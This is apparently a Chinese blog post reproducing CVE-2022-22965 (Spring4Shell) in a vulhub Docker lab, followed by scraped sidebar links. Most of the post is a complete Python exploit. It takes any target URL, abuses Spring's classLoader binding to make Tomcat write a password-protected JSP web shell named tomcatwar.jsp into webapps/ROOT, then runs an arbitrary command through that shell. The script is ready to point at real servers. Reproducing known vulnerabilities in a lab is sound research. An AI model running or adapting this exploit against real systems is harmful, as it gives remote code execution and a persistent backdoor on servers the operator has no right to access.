当前位置:网站首页>CVE-2022-22965复现
CVE-2022-22965复现
2022-06-22 12:49:00 【lionwerson】
CVE-2022-22965复现
简介:
在jdk 9+上运行的Spring MVC或Spring WebFlux application可能会导致RCE
复现环境:
docker run -d -p 8080:8080 vulhub/spring-webmvc:5.3.17
服务启动后,访问http://your-ip:8080/?name=xxx&age=xxx
即可看到一个演示页面。

poc:
使用方法:-t 输入目标地址,-c输入执行命令,默认为id
import argparse
import requests
headers = {
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Accept': '*/*',
'Accept-Language': 'en',
'suffix': '%>//',
'c1': 'Runtime',
'c2': '<%',
'DNT': '1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}
headers_res = {
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
}
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t',"--target",help='input target',required=True,type=str)
parser.add_argument('-c',"--command",help='input poc command',type=str,default='id')
args = parser.parse_args()
url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
cmd_url = args.target + "/tomcatwar.jsp?pwd=j&cmd=" + args.command
refresh_url = args.target + "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern="
res = requests.get(url=url, headers=headers)
try:
if res.status_code == 200:
res_cmd = requests.get(url=cmd_url, headers=headers)
print(res_cmd.text.replace("\x00",""))
ref_cmd = requests.get(url=refresh_url,headers=headers_res)
else:
print('Vulnerability does not exist')
except Exception as e:
print(e)
边栏推荐
猜你喜欢

Query rewriting for opengauss kernel analysis

openGauss内核分析之查询重写

leetcode-数学题

如何保护WordPress网站免受网络攻击?采取安全措施至关重要

Leetcode daily question 202110

JSP based library management system, including source code, database script, video tutorial for project operation, and video tutorial for thesis writing

STM32F1与STM32CubeIDE编程实例-光断续传感器驱动

“不敢去怀疑代码,又不得不怀疑代码”记一次网络请求超时分析

“不敢去懷疑代碼,又不得不懷疑代碼”記一次網絡請求超時分析

Stephencovey's tips for efficient work for young people
随机推荐
20 good habits of outstanding professionals
Oracle stored procedure 2
STM32F1与STM32CubeIDE编程实例-光断续传感器驱动
Implementation of connecting SQL server to Oracle server_ Including query implementation
散户开户哪个证券公司好?手机开户安全么?
Interpretation of the thesis -- factorization meets the neighborhood: a multifaceted collaborative filtering model
Docker installing PostgreSQL
Query escape in Oracle expdp export
SQL Server common functions
“不敢去怀疑代码,又不得不怀疑代码”记一次网络请求超时分析
leetcode 11. Container with the most water
leetcode-子序列/子串问题
[cloud native] event publishing and subscription in Nacos -- observer mode
HMS Core新闻行业解决方案:让技术加上人文的温度
Customer member value analysis
Are you familiar with redis cache of highly paid programmers & interview questions series 114? How are redis keys designed? Are you familiar with the memory obsolescence mechanism?
Tasks and responsibilities of the test team and basic concepts of testing
Seven cattle cloud upload picture
《Kubernetes监控篇:Grafana通过自动化方式添加datasource和dashboard》
What does Huawei's minutes on patents say? (including Huawei's top ten inventions)